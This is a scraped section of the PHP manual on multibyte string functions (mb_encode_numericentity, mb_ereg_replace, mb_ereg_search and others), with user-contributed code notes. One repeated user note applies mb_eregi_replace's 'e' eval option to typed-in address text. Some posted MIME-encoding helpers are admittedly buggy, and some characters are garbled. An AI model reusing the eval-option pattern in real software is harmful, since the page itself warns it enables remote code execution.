paravoid 01-Jan-2006 05:58
If mb_ version doesn't work for you in MIME-B mode:

function encode_mimeheader($string, $charset=null, $linefeed="\r\n") {
    if (!$charset)
        $charset = mb_internal_encoding();

    $start = "=?$charset?B?";
    $end = "?=";
    $encoded = '';

    /* Each line must have length <= 75, including $start and $end */
    $length = 75 - strlen($start) - strlen($end);
    /* Average multi-byte ratio */
    $ratio = mb_strlen($string, $charset) / strlen($string);
    /* Base64 has a 4:3 ratio */
    $magic = $avglength = floor(3 * $length * $ratio / 4);

    for ($i=0; $i <= mb_strlen($string, $charset); $i+=$magic) {
        $magic = $avglength;
        $offset = 0;
        /* Recalculate magic for each line to be 100% sure */
        do {
            $magic -= $offset;
            $chunk = mb_substr($string, $i, $magic, $charset);
            $chunk = base64_encode($chunk);
            $offset++;
        } while (strlen($chunk) > $length);
        if ($chunk)
            $encoded .= ' '.$start.$chunk.$end.$linefeed;
    }
    /* Chomp the first space and the last linefeed */
    $encoded = substr($encoded, 1, -strlen($linefeed));

    return $encoded;
}
nigrez at nius dot waw dot pl 13-Dec-2005 03:42
True, function is broken (PHP5.1, encoding from UTF-8 with pl_PL charset). Below is about 15% faster version of proposed _mb_mime_encode. Also it has header more like othe mb_* functions and doesn't trigger any errors/warnings/notices.

<?php

function mb_mime_header($string, $encoding=null, $linefeed="\r\n") {
  if(!$encoding) $encoding = mb_internal_encoding();
  $encoded = '';

  while($length = mb_strlen($string)) {
    $encoded .= "=?$encoding?B?"
             . base64_encode(mb_substr($string,0,24,$encoding))
             . "?=$linefeed";

    $string = mb_substr($string,24,$length,$encoding);
  }

  return $encoded;
}

?>
gullevek at gullevek dot org 06-Nov-2005 05:29
My first post was around 2003, and still the mb_mime_header is broken. It is *NOT* usable with longer subjects, and mostly unusable with anything else than japanese.

iwakura at junx dot org is also not working for me, it produces also some gargabe.

I updated my old function (the one I posted 2003) and I tested it with overlong subjects in UTF-8, ISO-2022-JP (japanese), GB2312 (simplified chinese) and EUC-KR (korean) and I got readable results in thunderbird, mail.app, outlook, etc.

<?php

function _mb_mime_encode($string, $encoding)
{
    $pos = 0;
    // after 36 single bytes characters if then comes MB, it is broken
    // but I trimmed it down to 24, to stay 100% < 76 chars per line
    $split = 24;
    while ($pos < mb_strlen($string, $encoding))
    {
        $output = mb_strimwidth($string, $pos, $split, "", $encoding);
        $pos += mb_strlen($output, $encoding);
        $_string_encoded = "=?".$encoding."?B?".base64_encode($output)."?=";
        if ($_string)
            $_string .= "\r\n";
        $_string .= $_string_encoded;
    }
    $string = $_string;
    return $string;
}

?>
chappy at citromail dot hu 28-Oct-2005 11:14
In countries where there's non-us ASCII, it's a very good example, for sending mail:

mb_internal_encoding('iso-8859-2');
setlocale(LC_CTYPE, 'hu_HU');

function encode($str,$charset){
    $str=mb_encode_mimeheader(trim($str),$charset, 'Q', "\n\t");
    return $str;
}

print encode('the text with spec. chars: &#337; &#368; &#336; &#369;, ?','iso-8859-2');

It creates a 7bit string
iwakura at junx dot org 15-Sep-2005 11:35
i think mb_encode_mimeheader still have bug. here is sample code:

function mb_encode_mimeheader2($string, $encoding = "ISO-2022-JP") {
    $string_array = array();
    $pos = 0;
    $row = 0;
    $mode = 0;

    while ($pos < mb_strlen($string)) {
        $word = mb_strimwidth($string, $pos, 1);
        if (!$word) {
            $word = mb_strimwidth($string, $pos, 2);
        }
        if (mb_ereg_match("[ -~]", $word)) {    // ascii
            if ($mode != 1) {
                $row++;
                $mode = 1;
                $string_array[$row] = NULL;
            }
        } else {                                // multibyte
            if ($mode != 2) {
                $row++;
                $mode = 2;
                $string_array[$row] = NULL;
            }
        }
        $string_array[$row] .= $word;
        $pos++;
    }

    //echo "<pre>";
    //print_r($string_array);
    //echo "</pre>";

    foreach ($string_array as $key => $value) {
        $value = mb_convert_encoding($value, $encoding);
        $string_array[$key] = mb_encode_mimeheader($value, $encoding);
    }

    //echo "<pre>";
    //print_r($string_array);
    //echo "</pre>";

    return implode("", $string_array);
}

is not the best, but it works
mortoray at ecircle-ag dot com 15-Mar-2005 01:19
At least for Q encoding, this function is unsafe and does not encode correctly. Raw characters which appear as RFC2047 sequences are simply left as is.

Ex:

mb_encode_mimeheader( '=?iso-8859-1?q?this=20is=20some=20text?=' );

returns '=?iso-8859-1?q?this=20is=20some=20text?='

The exact same string, which is obviously not the encoding for the source string.  That is, mb_encode_mimeheader does not do any type of escaping.

That is, the following condition is not always true:
    mb_decode_mimeheader( mb_encode_mimeheader( $text ) ) == $text
gullevek at gullevek dot org 30-Jul-2003 12:02
Read this FIRST: http://bugs.php.net/bug.php?id=23192 because mb_encode_mimeheaders is BUGGY!

a work around for the multibyte broken error for too long subjects for ISO-2022-JP:

$pos=0;
$split=36; // after 36 single bytes characters, if then comes MB, it is broken
while ($pos<mb_strlen($string,$encoding))
{
  $output=mb_strimwidth($string,$pos,$split,"",$encoding);
  $pos+=mb_strlen($output,$encoding);
  $_string.=(($_string)?' ':'').mb_encode_mimeheader($output,$encoding);
}
$string=$_string;

is not the best, but it works


Encode character to HTML numeric string reference

  • ? mb_encode_mimeheader
  • mb_encoding_aliases ?
  • PHP Manual
  • 多字节字符串 函数
  • Encode character to HTML numeric string reference

mb_encode_numericentity

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_encode_numericentity — Encode character to HTML numeric string reference

说明

mb_encode_numericentity(
string $string,
array $map,
?string $encoding = null,
bool $hex = false
): string

Converts specified character codes in string string from character code to HTML numeric character reference.

参数

string

The string being encoded.

map

map is array specifies code area to convert.

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

hex

Whether the returned entity reference should be in hexadecimal notation (otherwise it is in decimal notation).

返回值

The converted string.

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。

示例

Example #1 map example

<?php
$convmap = array (
int start_code1, int end_code1, int offset1, int mask1,
int start_code2, int end_code2, int offset2, int mask2,
........
int start_codeN, int end_codeN, int offsetN, int maskN );
// Specify Unicode value for start_codeN and end_codeN
// Add offsetN to value and take bit-wise 'AND' with maskN, then
// it converts value to numeric string reference.
?>

Example #2 mb_encode_numericentity() example

<?php
/* Convert Left side of ISO-8859-1 to HTML numeric character reference */
$convmap = array(0x80, 0xff, 0, 0xff);
$str = mb_encode_numericentity($str, $convmap, "ISO-8859-1");

/* Convert user defined SJIS-win code in block 95-104 to numeric
string reference */
$convmap = array(
0xe000, 0xe03e, 0x1040, 0xffff,
0xe03f, 0xe0bb, 0x1041, 0xffff,
0xe0bc, 0xe0fa, 0x1084, 0xffff,
0xe0fb, 0xe177, 0x1085, 0xffff,
0xe178, 0xe1b6, 0x10c8, 0xffff,
0xe1b7, 0xe233, 0x10c9, 0xffff,
0xe234, 0xe272, 0x110c, 0xffff,
0xe273, 0xe2ef, 0x110d, 0xffff,
0xe2f0, 0xe32e, 0x1150, 0xffff,
0xe32f, 0xe3ab, 0x1151, 0xffff );
$str = mb_encode_numericentity($str, $convmap, "sjis-win");
?>

参见

  • mb_decode_numericentity() - 根据 HTML 数字字符串解码成字符

User Contributed Notes

Anon 05-Dec-2018 11:22
Here is a better explanation of convmap:
https://stackoverflow.com/questions/35854535/better-explanation-of-convmap-in-mb-encode-numericentity
fboes at berlinonline dot de 11-Aug-2009 08:01
To improve handling of EURO-Symbols in dan at boxuk dot com's function add the following line to $convmap:

128,128,0, $f,
Janis 30-Jan-2009 02:32
To get Unicode numbers out of a UTF-8 string, this can be used, for example:

<?php
print mb_encode_numericentity ('sāш日', array (0x0, 0xffff, 0, 0xffff), 'UTF-8');
?>
dan at boxuk dot com 26-Feb-2003 09:48
We were experiencing difficulties with PHP/Sablotron on Solaris; placing HTML character references into the XSL transformation, when set to output UTF-8, converts them back into UTF8 encoded chars.  This was then a problem for non unicode storage.  Using a bit of code from http://homepage.mac.com/marko/ the following function converts the string back to character references:

function utf2html ($utf2html_string)
{
    $f = 0xffff;
    $convmap = array(
/* <!ENTITY % HTMLlat1 PUBLIC "-//W3C//ENTITIES Latin 1//EN//HTML">
    %HTMLlat1; */
     160,  255, 0, $f,
/* <!ENTITY % HTMLsymbol PUBLIC "-//W3C//ENTITIES Symbols//EN//HTML">
    %HTMLsymbol; */
     402,  402, 0, $f,  913,  929, 0, $f,  931,  937, 0, $f,
     945,  969, 0, $f,  977,  978, 0, $f,  982,  982, 0, $f,
    8226, 8226, 0, $f, 8230, 8230, 0, $f, 8242, 8243, 0, $f,
    8254, 8254, 0, $f, 8260, 8260, 0, $f, 8465, 8465, 0, $f,
    8472, 8472, 0, $f, 8476, 8476, 0, $f, 8482, 8482, 0, $f,
    8501, 8501, 0, $f, 8592, 8596, 0, $f, 8629, 8629, 0, $f,
    8656, 8660, 0, $f, 8704, 8704, 0, $f, 8706, 8707, 0, $f,
    8709, 8709, 0, $f, 8711, 8713, 0, $f, 8715, 8715, 0, $f,
    8719, 8719, 0, $f, 8721, 8722, 0, $f, 8727, 8727, 0, $f,
    8730, 8730, 0, $f, 8733, 8734, 0, $f, 8736, 8736, 0, $f,
    8743, 8747, 0, $f, 8756, 8756, 0, $f, 8764, 8764, 0, $f,
    8773, 8773, 0, $f, 8776, 8776, 0, $f, 8800, 8801, 0, $f,
    8804, 8805, 0, $f, 8834, 8836, 0, $f, 8838, 8839, 0, $f,
    8853, 8853, 0, $f, 8855, 8855, 0, $f, 8869, 8869, 0, $f,
    8901, 8901, 0, $f, 8968, 8971, 0, $f, 9001, 9002, 0, $f,
    9674, 9674, 0, $f, 9824, 9824, 0, $f, 9827, 9827, 0, $f,
    9829, 9830, 0, $f,
/* <!ENTITY % HTMLspecial PUBLIC "-//W3C//ENTITIES Special//EN//HTML">
   %HTMLspecial; */
/* These ones are excluded to enable HTML: 34, 38, 60, 62 */
     338,  339, 0, $f,  352,  353, 0, $f,  376,  376, 0, $f,
     710,  710, 0, $f,  732,  732, 0, $f, 8194, 8195, 0, $f,
    8201, 8201, 0, $f, 8204, 8207, 0, $f, 8211, 8212, 0, $f,
    8216, 8218, 0, $f, 8218, 8218, 0, $f, 8220, 8222, 0, $f,
    8224, 8225, 0, $f, 8240, 8240, 0, $f, 8249, 8250, 0, $f,
    8364, 8364, 0, $f);

    return mb_encode_numericentity($utf2html_string, $convmap, "UTF-8");
}


Get aliases of a known encoding type

  • ? mb_encode_numericentity
  • mb_ereg_match ?
  • PHP Manual
  • 多字节字符串 函数
  • Get aliases of a known encoding type

mb_encoding_aliases

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mb_encoding_aliases — Get aliases of a known encoding type

说明

mb_encoding_aliases(string $encoding): array

Returns an array of aliases for a known encoding type.

参数

encoding

The encoding type being checked, for aliases.

返回值

Returns a numerically indexed array of encoding aliases.

错误／异常

Throws a ValueError if encoding is unknown.

更新日志

版本 | 说明
8.0.0 | If the encoding is unknown, a ValueError is now thrown; previously an E_WARNING was emitted, and the function returned false.

示例

Example #1 mb_encoding_aliases() example

<?php
$encoding = 'ASCII';
$known_encodings = mb_list_encodings();

if (in_array($encoding, $known_encodings)) {

$aliases = mb_encoding_aliases($encoding);
print_r($aliases);

} else {

echo "Unknown ($encoding) encoding.\n";

}
?>

以上示例的输出类似于：

Array
(
    [0] => ANSI_X3.4-1968
    [1] => iso-ir-6
    [2] => ANSI_X3.4-1986
    [3] => ISO_646.irv:1991
    [4] => US-ASCII
    [5] => ISO646-US
    [6] => us
    [7] => IBM367
    [8] => cp367
    [9] => csASCII
)

参见

  • mb_list_encodings() - 返回所有支持编码的数组

User Contributed Notes

There are no user contributed notes for this page.


Regular expression match for multibyte string

  • ? mb_encoding_aliases
  • mb_ereg_replace_callback ?
  • PHP Manual
  • 多字节字符串 函数
  • Regular expression match for multibyte string

mb_ereg_match

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_match — Regular expression match for multibyte string

说明

mb_ereg_match(string $pattern, string $string, ?string $options = null): bool

A regular expression match for a multibyte string

Note: pattern is only matched at the beginning of string.

参数

pattern

The regular expression pattern.

string

The string being evaluated.

options

The search option. See mb_regex_set_options() for explanation.

返回值

Returns true if string matches the regular expression pattern, false if not.

更新日志

版本 | 说明
8.0.0 | options is nullable now.

注释

Note:

mb_regex_encoding() 指定的内部编码或字符编码将会当作此函数用的字符编码。

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg() - Regular expression match with multibyte support

User Contributed Notes

There are no user contributed notes for this page.


Perform a regular expression search and replace with multibyte support using a callback

  • ? mb_ereg_match
  • mb_ereg_replace ?
  • PHP Manual
  • 多字节字符串 函数
  • Perform a regular expression search and replace with multibyte support using a callback

mb_ereg_replace_callback

(PHP 5 >= 5.4.1, PHP 7, PHP 8)

mb_ereg_replace_callback — Perform a regular expression search and replace with multibyte support using a callback

说明

mb_ereg_replace_callback(
string $pattern,
callable $callback,
string $string,
?string $options = null
): string|false|null

Scans string for matches to pattern, then replaces the matched text with the output of callback function.

The behavior of this function is almost identical to mb_ereg_replace(), except for the fact that instead of replacement parameter, one should specify a callback.

参数

pattern

The regular expression pattern.

Multibyte characters may be used in pattern.

callback

A callback that will be called and passed an array of matched elements in the subject string. The callback should return the replacement string.

You'll often need the callback function for a mb_ereg_replace_callback() in just one place. In this case you can use an anonymous function to declare the callback within the call to mb_ereg_replace_callback(). By doing it this way you have all information for the call in one place and do not clutter the function namespace with a callback function's name not used anywhere else.

string

The string being checked.

options

The search option. See mb_regex_set_options() for explanation.

返回值

The resultant string on success, or false on error. If string is not valid for the current encoding, null is returned.

更新日志

版本 | 说明
8.0.0 | options is nullable now.
7.1.0 | The function checks whether string is valid for the current encoding.

示例

Example #1 mb_ereg_replace_callback() example

<?php
// this text was used in 2002
// we want to get this up to date for 2003
$text = "April fools day is 04/01/2002\n";
$text.= "Last christmas was 12/24/2001\n";
// the callback function
function next_year($matches)
{
// as usual: $matches[0] is the complete match
// $matches[1] the match for the first subpattern
// enclosed in '(...)' and so on
return $matches[1].($matches[2]+1);
}
echo mb_ereg_replace_callback(
"(\d{2}/\d{2}/)(\d{4})",
"next_year",
$text);

?>

以上示例会输出：

April fools day is 04/01/2003
Last christmas was 12/24/2002

Example #2 mb_ereg_replace_callback() using anonymous function

<?php
// this text was used in 2002
// we want to get this up to date for 2003
$text = "April fools day is 04/01/2002\n";
$text.= "Last christmas was 12/24/2001\n";

echo mb_ereg_replace_callback(
"(\d{2}/\d{2}/)(\d{4})",
function ($matches) {
return $matches[1].($matches[2]+1);
},
$text);
?>

注释

Note:

mb_regex_encoding() 指定的内部编码或字符编码将会当作此函数用的字符编码。

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_replace() - Replace regular expression with multibyte support
  • Anonymous functions

User Contributed Notes

There are no user contributed notes for this page.


Replace regular expression with multibyte support

  • ? mb_ereg_replace_callback
  • mb_ereg_search_getpos ?
  • PHP Manual
  • 多字节字符串 函数
  • Replace regular expression with multibyte support

mb_ereg_replace

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_replace — Replace regular expression with multibyte support

说明

mb_ereg_replace(
string $pattern,
string $replacement,
string $string,
?string $options = null
): string|false|null

Scans string for matches to pattern, then replaces the matched text with replacement

参数

pattern

The regular expression pattern.

Multibyte characters may be used in pattern.

replacement

The replacement text.

string

The string being checked.

options
The search option. See mb_regex_set_options() for explanation.

返回值

The resultant string on success, or false on error. If string is not valid for the current encoding, null is returned.

更新日志

版本 | 说明
8.0.0 | options is nullable now.
7.1.0 | The function checks whether string is valid for the current encoding.
7.1.0 | The e modifier has been deprecated.

注释

Note:

mb_regex_encoding() 指定的内部编码或字符编码将会当作此函数用的字符编码。

Warning

处理非信任的输入时从不使用 e 修饰符，就不会转码（即调用 preg_replace()）。不注意这些会很可能会导致应用程序引发远程代码执行的漏洞。

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_eregi_replace() - Replace regular expression with multibyte support ignoring case

User Contributed Notes

Anonymous 19-May-2022 06:35
Notations to reference captures in the replacement string:

<?php

// (1) \\number notation: (1 to 9, not greater than 9)
echo mb_ereg_replace('(\S*) (\S*) (\S*)', '\\1 jam, \\2 juice, \\3 squash', 'apple orange lemon').'<br>'; // apple jam, orange juice, lemon squash

// (2) \k<number> notation: (also greater than 9) (also as \k'number')
echo mb_ereg_replace('(\S*) (\S*) (\S*)', '\k<1> jam, \k<2> juice, \k<3> squash', 'apple orange lemon').'<br>'; // (same as above)

// (3) \k<word> notation: (also as \k'word')
echo mb_ereg_replace('(?<word1>\S*) (?<word2>\S*) (?<word3>\S*)', '\k<word1> jam, \k<word2> juice, \k<word3> squash', 'apple orange lemon').'<br>'; // (same as above)

// Note non-named-subpatterns like "(\S*)" should not be used with named-subpatterns like "(?<word>..)" because non-named-subpatterns cannot be captured when named-subpatterns exist.
j-fr dot fortier at wanadoo dot fr 07-Feb-2019 04:56
Since PHP 5.4, to make uppercase ou lowercase characters, or rewrite some uris, without to take care about initial encoding, the transliteration is easier (and probably the best way): see http://php.net/manual/fr/transliterator.transliterate.php and http://userguide.icu-project.org/transforms/general

For example (with create) (french text: replace all accuentued -éèà??ù?...- chars with ascii chars):
<?php
$transliterator = Transliterator::create("NFD; [:Nonspacing Mark:] Remove; NFC;");
echo $transliterator->transliterate("Héhé, ?a marche !");
?>
// Result: ? Hehe, ca marche ! ?

To rewrite a phrase in URI (with createFromRules):
<?php
$transliterator = Transliterator::createFromRules("::Latin-ASCII; ::Lower; [^[:L:][:N:]]+ > '-';");
echo trim($transliterator->transliterate("Héhé, ?a marche !"), '-');
?>
// Result : ? hehe-ca-marche ?
Alexey Khrulev 31-Aug-2017 10:10
If encoding of PHP script differs from encoding of string to be processed by mb_ereg_replace(), then you can't just write pattern in script. Both $pattern and $replacement must be converted to same encoding as string to be processed. In this example script is in UTF-8, file to be processed is in UTF-16LE encoding:

<?php
$file_encoding = 'UTF-16LE';
mb_regex_encoding( $file_encoding );

$pattern     = "aaa";
$replacement = "AAA";
$pattern_encoded     = mb_convert_encoding( $pattern,     $file_encoding, 'UTF-8' );
$replacement_encoded = mb_convert_encoding( $replacement, $file_encoding, 'UTF-8' );

$result = mb_ereg_replace( $pattern_encoded, $replacement_encoded, file_get_contents('UTF-16LE.txt') );
file_put_contents('UTF-16LE-updated.txt', $result);
?>
ms2705335 at gmail dot com 17-Jul-2017 10:10
As trng mentioned before you can use \\n for replacement but NOT \\\\n as mentioned in preg_replace docs. So string definition will be like:
$str = '\\1';
Anonymous 19-Jan-2016 11:23
Pluche's comment should REALLY be added to the documentation, preferably under the "$pattern" param description. It is crucial to using this function.
marco at thenetworksolution dot it 03-Feb-2014 02:47
To selectively uppercase parts of a string via mb_eregi_replace

    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');

Full example, how to fix an address manually typed, uppercasing the first letter of a words and keeping uppercase roman numerals and the letters A,B,C after the house number):

function ucAddress($str) {
// first lowercase all and use the default ucwords
    $str = ucwords(strtolower($str));
// let's fix the default ucwords...
// uppercase letters after house number (was lowercased by the strtolower above)
    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');
// the same for roman numerals
    $str = mb_eregi_replace('\bM{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})\b', "strtoupper('\\0')", $str, 'e');
    return $str;
}

Dr. Marco Marsala
Network Solution srl
http://www.realizzazionesitigenova.it
marco at thenetworksolution dot it 03-Feb-2014 02:47
To selectively uppercase parts of a string via mb_eregi_replace

    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');

Full example, how to fix an address manually typed, uppercasing the first letter of a words and keeping uppercase roman numerals and the letters A,B,C after the house number):

function ucAddress($str) {
// first lowercase all and use the default ucwords
    $str = ucwords(strtolower($str));
// let's fix the default ucwords...
// uppercase letters after house number (was lowercased by the strtolower above)
    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');
// the same for roman numerals
    $str = mb_eregi_replace('\bM{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})\b', "strtoupper('\\0')", $str, 'e');
    return $str;
}
trng 15-Jun-2011 09:22
You can use \\n for capture group in replacement.
And you can NOT use $n notation (unlike preg_replace function).
Pluche 30-Dec-2010 04:17
Unlike preg_replace, mb_ereg_replace doesn't use separators

Exemple with preg_replace :
<?php $data = preg_replace("/[^A-Za-z0-9\.\-]/","",$data); ?>

Exemple with mb_ereg_replace :
<?php $data = mb_ereg_replace("[^A-Za-z0-9\.\-]","",$data); ?>
daemoneye at gmail dot com 03-Feb-2009 02:53
I got a pretty nasty error while trying to parse table rows(all contents were set to UTF-8) from the database for a dictionary project. The idea was to get all the rows from the first table (that is a table with bulgarian phrase in the first field, and its translation in english, french and german in the next fields). I needed to index all the bulgarian words that are found in the table to make an intelligent search. And that is where my headache started.

First of all, even with mb_strtolower() a lot of cyrillic characters went corrupted (ex: 'т,ъ,у,ф,б,г,з,ж,' etc...). After an hour of different attempts I got such a solution:

<?php

mb_internal_encoding("UTF-8");
mb_regex_encoding("UTF-8");

$rows = $db->getRows();

$contents = array();
foreach ($rows as $eachRow)
{
    $cleared = str_replace($commonWords, ' ', mb_strtolower(stripslashes($eachRow['bulgarian']), 'UTF-8' ));
    if (trim($cleared) != '') $contents[] = trim($cleared);
}

$list = array();
foreach ($contents as $eachRow)
{
    $exploded = explode(' ', $eachRow);
    foreach ($exploded as $eachExpl)
    {
        $eachExpl = mb_ereg_replace('[^а-я ]',' ', $eachExpl);
        if (trim($eachExpl) != '')
            if (!in_array($eachExpl, $list, true))    $list[] = trim($eachExpl);
    }
}

?>

To work properly I got to set all the internal encoding settings to UTF-8. Else the default Latin-1 got half my database with missing characters.

I am posting this solution just in case someone has encountered a similar problem. Hope it helps you in case you need something like that.
keizo at gomo dot jp 23-Jul-2008 09:32
<?php
$pattern = "([あ-ん]+)[0-9]+";
$string = mb_ereg_replace($pattern, '「\\1」:\\0', $string);
?>

you can use \\n for capture group in replacement
gmx dot net at ulrich dot mierendorff 01-Jul-2008 07:39
If you want to replace characters like "?" or "?" you can use mb_ereg_replace, but it is very slow. str_replace is much faster and also works with characters like "?" or "?"!

I think this has something to with the fact that str_replace works on byte level and does not care about characters.
I hope that can help.
04-Dec-2006 08:36
'i' option does not work correctly with multibyte characters. The function does not locate/replace the multibyte string if it's different case then specified on multibyte needle which is in different case.
squeegee 01-Nov-2006 07:41
well, if you just calculated the length of the find and replace strings once instead of on every loop, it would likely speed it up a lot.
mpnicholas [@t] gmail (dot) com 09-Jul-2006 03:09
Regarding the mb_str_ireplace() function: I benchmarked it against mb_eregi_replace() for single-character substitution, and it was significantly slower. Despite avoiding the ereg call, I think the while loop ends slowing you down too much for this to be practical.
vondrej(at)gmail(dot)com 26-Feb-2006 03:47
Are you looking for htmlentities() for multibyte strings? This might help you - it just replace <, >, ", '

<?php
/**
 *  Multibyte equivalent for htmlentities() [lite version :)]
 *
 * @param string $str
 * @param string $encoding
 * @return string
 **/
function mb_htmlentities($str, $encoding = 'utf-8') {
    mb_regex_encoding($encoding);
    $pattern = array('<', '>', '"', '\'');
    $replacement = array('&lt;', '&gt;', '&quot;', '&#39;');
    for ($i=0; $i<sizeof($pattern); $i++) {
        $str = mb_ereg_replace($pattern[$i], $replacement[$i], $str);
    }
    return $str;
}
?>
faxe at neostrada dot pl 09-Aug-2005 03:52
A simple mb_str_ireplace() implementation - a faster (?) replacement for non-regexp multi-byte string replacement:

<?php
function mb_str_ireplace($co, $naCo, $wCzym)
{
    $wCzymM = mb_strtolower($wCzym);
    $coM    = mb_strtolower($co);
    $offset = 0;

        while(!is_bool($poz = mb_strpos($wCzymM, $coM, $offset)))
    {
        $offset = $poz + mb_strlen($naCo);
        $wCzym = mb_substr($wCzym, 0, $poz). $naCo .mb_substr($wCzym, $poz+mb_strlen($co));
        $wCzymM = mb_strtolower($wCzym);
    }

    return $wCzym;
}
?>

[thiago - EDITOR NOTE: This function has improvements from d-okumura [aat] fi{dot}kyd[dot]co.jp]


Returns start point for next regular expression match

  • ? mb_ereg_replace
  • mb_ereg_search_getregs ?
  • PHP Manual
  • 多字节字符串 函数
  • Returns start point for next regular expression match

mb_ereg_search_getpos

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_getpos — Returns start point for next regular expression match

说明

mb_ereg_search_getpos(): int

Returns the start point for the next regular expression match.

参数

此函数没有参数。

返回值

mb_ereg_search_getpos() returns
the point to start regular expression match for
mb_ereg_search(),
mb_ereg_search_pos(),
mb_ereg_search_regs(). The position is
represented by bytes from the head of string.

注释

Note:

mb_regex_encoding() 指定的内部编码或字符编码将会当作此函数用的字符编码。

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_search_setpos() - Set start point of next regular expression match

User Contributed Notes

patil16nit at gmail dot com 24-Dec-2015 12:49
The function mb_ereg_search_pos() returns matched byte length, not the position of the search part.


Retrieve the result from the last multibyte regular expression match

  • ? mb_ereg_search_getpos
  • mb_ereg_search_init ?
  • PHP Manual
  • 多字节字符串 函数
  • Retrieve the result from the last multibyte regular expression match

mb_ereg_search_getregs

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_getregs — Retrieve the result from the last multibyte regular expression match

说明

mb_ereg_search_getregs(): array|false

Retrieve the result from the last multibyte regular expression match

参数

此函数没有参数。

返回值

An array including the sub-string of matched part by last mb_ereg_search(), mb_ereg_search_pos(), mb_ereg_search_regs(). If there are some matches, the first element will have the matched sub-string, the second element will have the first part grouped with brackets, the third element will have the second part grouped with brackets, and so on. It returns false on error.

注释

Note:

mb_regex_encoding() 指定的内部编码或字符编码将会当作此函数用的字符编码。

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

Marius Ka?em?kaitis 25-Jan-2007 11:48
Get unicode characters from string.

<?php

mb_regex_encoding("UTF-8");
mb_ereg_search_init("12345=???????ū???????ū");
mb_ereg_search("=(\w+)");
$match = mb_ereg_search_getregs();

print($match[1]); //???????ū???????ū

?>


Setup string and regular expression for a multibyte regular expression match

  • ? mb_ereg_search_getregs
  • mb_ereg_search_pos ?
  • PHP Manual
  • 多字节字符串 函数
  • Setup string and regular expression for a multibyte regular expression match

mb_ereg_search_init

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_init — Setup string and regular expression for a multibyte regular expression match

说明

mb_ereg_search_init(string $string, ?string $pattern = null, ?string $options = null): bool

mb_ereg_search_init() sets
string and pattern
for a multibyte regular expression. These values are used for
mb_ereg_search(),
mb_ereg_search_pos(), and
mb_ereg_search_regs().

参数

string

The search string.

pattern

The search pattern.

options

The search option. See mb_regex_set_options() for explanation.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | pattern and options are nullable now.

注释

Note:

mb_regex_encoding() 指定的内部编码或字符编码将会当作此函数用的字符编码。

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_search_regs() - Returns the matched part of a multibyte regular expression

User Contributed Notes

There are no user contributed notes for this page.


Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string

  • ? mb_ereg_search_init
  • mb_ereg_search_regs ?
  • PHP Manual
  • 多字节字符串 函数
  • Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string

mb_ereg_search_pos

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_pos — Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string

说明

mb_ereg_search_pos(?string $pattern = null, ?string $options = null): array|false

Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string

The string for match is specified by mb_ereg_search_init(). If it is not specified, the previous one will be used.

参数

pattern

The search pattern.

options

The search option. See mb_regex_set_options() for explanation.

返回值

An array containing two elements. The first element is the offset, in bytes, where the match begins relative to the start of the search string, and the second element is the length in bytes of the match.

If an error occurs, false is returned.

更新日志

版本 | 说明
8.0.0 | pattern and options are nullable now.

注释

Note:

mb_regex_encoding() 指定的内部编码或字符编码将会当作此函数用的字符编码。

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

v dot picture at free dot fr 22-Apr-2021 02:57
This function is absolutely not multibyte-safe, it actually returns the position of the match as if the string was not multibyte.

The results of this function are exactly the same as if you were using preg_match_all with PREG_OFFSET_CAPTURE, even with the "unicode" flag it's simply NOT working

(Bug report filed)


Returns the matched part of a multibyte regular expression

  • ? mb_ereg_search_pos
  • mb_ereg_search_setpos ?
  • PHP Manual
  • 多字节字符串 函数
  • Returns the matched part of a multibyte regular expression

mb_ereg_search_regs

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_regs — Returns the matched part of a multibyte regular expression

说明

mb_ereg_search_regs(?string $pattern = null, ?string $options = null): array|false

Returns the matched part of a multibyte regular expression.

参数

pattern

The search pattern.

options

The search option. See mb_regex_set_options() for explanation.

返回值

mb_ereg_search_regs() executes the multibyte regular expression match, and if there are some matched part, it returns an array including substring of matched part as first element, the first grouped part with brackets as second element, the second grouped part as third element, and so on. It returns false on error.

更新日志

版本 | 说明
8.0.0 | pattern and options are nullable now.

注释

Note:

mb_regex_encoding() 指定的内部编码或字符编码将会当作此函数用的字符编码。

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
